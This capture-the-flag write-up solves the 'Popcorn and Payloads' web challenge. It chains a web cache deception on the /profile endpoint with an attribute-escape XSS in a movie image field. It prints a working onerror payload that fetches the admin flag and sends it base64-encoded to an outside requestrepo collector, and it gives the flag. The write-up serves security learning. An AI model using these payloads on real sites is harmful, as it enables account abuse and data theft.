CCSC 2025 - Popcorn and Payloads
Description
Author: kallenosf
Lights, camera, action! Can you see behind the scenes?
Note: Admins/Moderators access the app at http://web-app/
Solution
Initial Look
Facing the challenge, we are presented with a simple login/registration page.
Upon registering and logging in, we are greeted with a nice movies datababse. You can browse the movies and leave reviews for them.
Digging Deeper
When we analyze the page better, we can see the following interesting things:
- The admin bot visits any URL we provide in the review.

- The
/profileendpoint hints us that we need to get an API key.
- The
/apiendpoint lists all the available API endpoints and actions we can perform, including/api/movieswhich allows us to add a new movie.

So taking into account the above, it’s pretty clear that we need to get our hands on the API key and proceed from there.
Getting the API Key
Let’s take a closer look at how the application behaves (requests, responses, etc.).
It seems that there is some kind of caching mechanism in place. Let’s try to fetch a static file and view the response headers.
Now we know that endpoints like /profile and /movies do not get cached (X-Cache-Status: BYPASS), while the static files do get cached (X-Cache-Status: HIT).
This smells like a very interesting vulnerability that suits our needs perfectly.
Exploiting the Cache
Let’s try to exploit this Web Cache Deception vulnerability.
We have to follow these steps:
- Check if we can trick the server into caching the
/profileendpoint (maybe treat it as a static file). - Force the victim(admin bot) to visit the
/profileendpoint so their version of the page gets cached. - Access the cached version of the
/profileendpoint and retrieve the API key.
Step 1: Cache the /profile Endpoint
It seems we can fool the server into caching the /profile endpoint by appending a .js extension to it.
Step 2: Force the Admin Bot to Visit their /profile Page
Let’s create the following review:
When the admin bot visits the page, it will cache their version of the /profile endpoint (if not already cached).
Step 3: Access the Cached Version of the /profile Endpoint
We can also see a Get flag button, let’s view the HTML source code of the page to see what it does.
Perfect! We now know our end goal. We need to send a POST request to /admin as the admin user with the Content-Type header set to application/json and we’ll get the flag in the response.
This hints us again to another vulnerability, the Cross-Site Scripting (XSS) vulnerability.
Finding the XSS
Since now we have access to the api, we can try to add a new movie and see if we can inject javascript in any of the fields.
We can see exactly where every one of our inputs lands in the HTML source code of the page.
We can now inject malicious payloads in all the fields, and hope that we can at least execute some javascript code.
1
2
3
4
5
6
{
"title": "<u>MariosK1574</u>\" injected=\"MariosK1574",
"image": "image\" injected=\"MariosK1574",
"trailer": "trailer\" injected=\"MariosK1574",
"description": "<u>MariosK1574</u>"
}
Nice! We managed to escape the src attribute of the <img> tag and inject our own attributes. This means we can now inject a onerror attribute and execute our javascript code.
1
2
3
4
5
6
{
"title": "<u>MariosK1574</u>\" injected=\"MariosK1574",
"image": "image\" onerror=\"alert(origin)",
"trailer": "trailer\" injected=\"MariosK1574",
"description": "<u>MariosK1574</u>"
}
Now we can see that our javascript code is executed when the image fails to load. This means we can now send a POST request to /admin as the admin user and get the flag.
Getting the Flag
Let’s construct our final XSS payload:
1
fetch('http://web-app/admin', {method: 'POST', headers: {'Content-Type': 'application/json'}}).then(r => r.json()).then(r => fetch(`https://fv7f6lqp.requestrepo.com/?d=${btoa(JSON.stringify(r))}`))
What this does is:
- Send a POST request to
/adminas the admin user with theContent-Typeheader set toapplication/jsonto get the flag. - Encode the response in base64 and send it to our requestrepo endpoint.
We are also encoding the payload in HTML Entity format to avoid any issues.
1
2
3
4
5
6
{
"title": "XSS",
"image": "image\" onerror=\"fetch('http://web-app/admin', {method: 'POST', headers: {'Content-Type': 'application/json'}}).then(r => r.json()).then(r => fetch(`https://fv7f6lqp.requestrepo.com/?d=${btoa(JSON.stringify(r))}`))",
"trailer": "XSS",
"description": "XSS Payload"
}
And finally let’s post a review with the URL of the movie we just created:
We get a callback on our requestrepo callback with base64 encoded flag.
The flag is: ECSC{L1gHtS_C4meRa_D3c3pTi0n...I_Me4N_AC7ioN}
Conclusion
This challenge was a great example of how to exploit web cache deception vulnerabilities and cross-site scripting vulnerabilities to achieve our goal. It also highlighted the importance of understanding how web applications work and how to manipulate them to our advantage. Overall, it was a fun and educational challenge that showcased real-world web security issues.
















